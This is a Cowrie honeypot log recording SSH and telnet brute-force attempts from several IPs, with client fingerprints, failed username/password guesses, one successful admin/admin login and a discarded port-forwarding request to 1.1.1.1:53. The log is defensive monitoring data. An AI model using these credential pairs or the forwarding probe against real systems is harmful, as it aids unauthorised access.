{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53008,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3fd6f97456e","protocol":"telnet","message":"New connection: 50.6.8.71:53008 (10.17.0.5:23) [session: b3fd6f97456e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:27.449270Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":41240,"dst_ip":"159.203.135.109","dst_port":22,"session":"83acc38828b9","protocol":"ssh","message":"New connection: 201.77.124.248:41240 (159.203.135.109:22) [session: 83acc38828b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:35.213741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:35.219271Z","src_ip":"201.77.124.248","session":"83acc38828b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:35.577929Z","src_ip":"201.77.124.248","session":"83acc38828b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:36.955880Z","src_ip":"201.77.124.248","session":"83acc38828b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:38.197784Z","src_ip":"201.77.124.248","session":"83acc38828b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.17309331893921,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:43.114275Z","src_ip":"50.6.8.71","session":"bb9538086d48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.7.136.106","src_port":52512,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8ce6af4d3ab","protocol":"ssh","message":"New connection: 50.7.136.106:52512 (159.203.135.109:22) [session: f8ce6af4d3ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:43.133511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:43.138581Z","src_ip":"50.7.136.106","session":"f8ce6af4d3ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:43.220626Z","src_ip":"50.7.136.106","session":"f8ce6af4d3ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welltech12","message":"login attempt [root/welltech12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:43.466780Z","src_ip":"50.7.136.106","session":"f8ce6af4d3ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:44.551751Z","src_ip":"50.7.136.106","session":"f8ce6af4d3ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":59752,"dst_ip":"159.203.135.109","dst_port":22,"session":"4524e34ebcc6","protocol":"ssh","message":"New connection: 109.91.4.177:59752 (159.203.135.109:22) [session: 4524e34ebcc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:46.270608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:46.275413Z","src_ip":"109.91.4.177","session":"4524e34ebcc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:46.380718Z","src_ip":"109.91.4.177","session":"4524e34ebcc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"whmapi","password":"YourPassword@6942","message":"login attempt [whmapi/YourPassword@6942] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:47.193355Z","src_ip":"109.91.4.177","session":"4524e34ebcc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.031777143478394,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:47.975538Z","src_ip":"50.6.8.71","session":"1ba42935ab0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:48.301735Z","src_ip":"109.91.4.177","session":"4524e34ebcc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.38372564315796,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:52.129608Z","src_ip":"50.6.8.71","session":"61fc6ef9b21e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.52169227600098,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:32:59.970840Z","src_ip":"50.6.8.71","session":"b3fd6f97456e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":62281,"dst_ip":"159.203.135.109","dst_port":22,"session":"73a8b694c5c4","protocol":"ssh","message":"New connection: 109.91.4.177:62281 (159.203.135.109:22) [session: 73a8b694c5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:33:25.856833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:33:25.862307Z","src_ip":"109.91.4.177","session":"73a8b694c5c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:33:25.977443Z","src_ip":"109.91.4.177","session":"73a8b694c5c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Push@8240","message":"login attempt [root/Push@8240] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:33:26.439652Z","src_ip":"109.91.4.177","session":"73a8b694c5c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:33:27.554912Z","src_ip":"109.91.4.177","session":"73a8b694c5c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36538,"dst_ip":"10.17.0.5","dst_port":23,"session":"48a14e42f8ac","protocol":"telnet","message":"New connection: 50.6.8.71:36538 (10.17.0.5:23) [session: 48a14e42f8ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:33:47.928857Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":61632,"dst_ip":"159.203.135.109","dst_port":22,"session":"1072ee28fe20","protocol":"ssh","message":"New connection: 109.91.4.177:61632 (159.203.135.109:22) [session: 1072ee28fe20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:06.770671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:06.775442Z","src_ip":"109.91.4.177","session":"1072ee28fe20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:06.886470Z","src_ip":"109.91.4.177","session":"1072ee28fe20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web-user","password":"web-user","message":"login attempt [web-user/web-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:07.770975Z","src_ip":"109.91.4.177","session":"1072ee28fe20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:08.881083Z","src_ip":"109.91.4.177","session":"1072ee28fe20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":3500,"dst_ip":"159.203.135.109","dst_port":22,"session":"c02f9d13a79e","protocol":"ssh","message":"New connection: 201.77.124.248:3500 (159.203.135.109:22) [session: c02f9d13a79e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:17.650365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:17.655370Z","src_ip":"201.77.124.248","session":"c02f9d13a79e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:17.999472Z","src_ip":"201.77.124.248","session":"c02f9d13a79e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@1234567","message":"login attempt [root/Root@1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:19.373234Z","src_ip":"201.77.124.248","session":"c02f9d13a79e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":43788,"dst_ip":"10.17.0.5","dst_port":22,"session":"064bcb4c20d1","protocol":"ssh","message":"New connection: 87.251.64.176:43788 (10.17.0.5:22) [session: 064bcb4c20d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:19.624191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:19.628548Z","src_ip":"87.251.64.176","session":"064bcb4c20d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:19.725155Z","src_ip":"87.251.64.176","session":"064bcb4c20d1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:20.017187Z","src_ip":"87.251.64.176","session":"064bcb4c20d1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:20.115516Z","session":"064bcb4c20d1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:20.213623Z","src_ip":"87.251.64.176","session":"064bcb4c20d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:20.313044Z","src_ip":"87.251.64.176","session":"064bcb4c20d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:20.509290Z","src_ip":"201.77.124.248","session":"c02f9d13a79e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35810,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ac6854a73fc","protocol":"telnet","message":"New connection: 50.6.8.71:35810 (10.17.0.5:23) [session: 5ac6854a73fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:30.681915Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35822,"dst_ip":"10.17.0.5","dst_port":23,"session":"d791b60f2f9a","protocol":"telnet","message":"New connection: 50.6.8.71:35822 (10.17.0.5:23) [session: d791b60f2f9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:33.755348Z"}
{"eventid":"cowrie.session.closed","duration":48.12457847595215,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:36.053299Z","src_ip":"50.6.8.71","session":"48a14e42f8ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":5824,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa0c92d49a68","protocol":"ssh","message":"New connection: 38.93.206.2:5824 (10.17.0.5:22) [session: aa0c92d49a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:34:42.044135Z"}
